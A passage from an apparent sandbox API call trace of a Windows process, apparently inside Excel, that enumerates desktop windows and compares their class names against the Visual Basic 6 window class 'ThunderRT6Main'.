lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0175.741] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0175.741] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0175.741] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0175.741] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0175.742] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0175.742] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0175.742] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0175.742] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0175.742] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0175.742] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f79a90 [0175.742] IMalloc:Free (This=0x7fefecb5380, pv=0x4f79a90) [0178.569] GetAsyncKeyState (vKey=27) returned 0 [0178.569] GetCurrentThreadId () returned 0xbdc [0178.569] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0178.569] GetDesktopWindow () returned 0x10010 [0178.569] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0178.569] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.569] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.569] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.569] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0178.569] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.569] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.569] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.569] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0178.569] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.569] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.569] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.569] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0178.569] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0178.569] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0178.569] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0178.570] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0178.570] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.570] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0178.570] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0178.570] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0178.570] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0178.570] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0178.570] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.570] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.570] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0178.570] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.570] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.570] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0178.570] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.570] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.570] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0178.570] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.570] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.570] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0178.570] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.570] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.570] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0178.570] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.570] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.570] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0178.571] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0178.571] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0178.571] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0178.571] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.571] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0178.571] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0178.571] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0178.571] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0178.571] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0178.571] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0178.571] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0178.571] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.571] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.571] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.571] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0178.571] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0178.571] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.572] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0178.572] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0178.572] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.572] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0178.572] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0178.572] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0178.572] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0178.572] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.572] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0178.572] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0178.572] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0178.572] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0178.572] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0178.572] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.572] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0178.572] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0178.572] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0178.572] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0178.572] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0178.572] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.572] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0178.572] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0178.572] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0178.572] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0178.572] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0178.572] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0178.572] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0178.572] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.572] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.572] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0178.572] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0178.573] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0178.573] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0178.573] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.573] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0178.573] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0178.573] IsWindowEnabled (hWnd=0x20360) returned 0 [0178.573] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0178.573] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0178.573] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0178.573] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0178.573] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0178.573] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0178.573] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.573] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0178.573] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0178.573] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0178.573] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0178.573] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0178.573] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0178.573] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0178.573] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0178.573] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.573] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0178.573] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0178.573] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0178.573] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0178.573] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0178.573] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0178.573] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.573] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0178.573] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0178.573] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0178.573] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0178.573] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0178.574] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0178.574] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.574] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0178.574] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0178.574] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0178.574] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0178.574] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0178.574] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0178.574] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.574] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0178.574] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0178.574] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0178.574] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0178.574] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0178.574] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0178.574] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0178.574] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0178.574] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0178.574] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0178.574] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.574] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0178.574] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0178.574] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0178.574] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0178.574] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0178.574] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0178.574] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.574] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0178.574] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.574] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.574] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0178.574] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0178.574] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0178.575] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0178.575] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0178.575] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0178.575] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0178.575] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0178.575] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.575] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0178.575] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0178.575] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0178.575] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0178.575] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0178.575] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0178.575] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0178.575] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.575] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.575] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.575] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0178.575] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0178.575] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0178.575] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.575] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0178.575] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0178.575] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0178.575] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.575] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0178.575] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.576] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.576] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.576] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0178.576] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.576] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.576] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.576] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0178.576] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0178.576] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0178.576] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.576] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0178.576] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0178.576] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0178.576] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0178.576] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0178.576] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.576] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.576] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0178.576] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0178.576] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0178.576] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0178.576] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0178.576] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0178.576] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0178.576] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0178.577] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0178.577] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.577] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0178.577] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0178.577] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0178.577] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0178.577] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0178.577] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.577] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0178.577] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0178.577] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0178.577] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0178.577] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0178.577] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0178.577] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0178.577] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0178.577] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0178.577] GetClassNameA (in: hWnd=0x1024c, 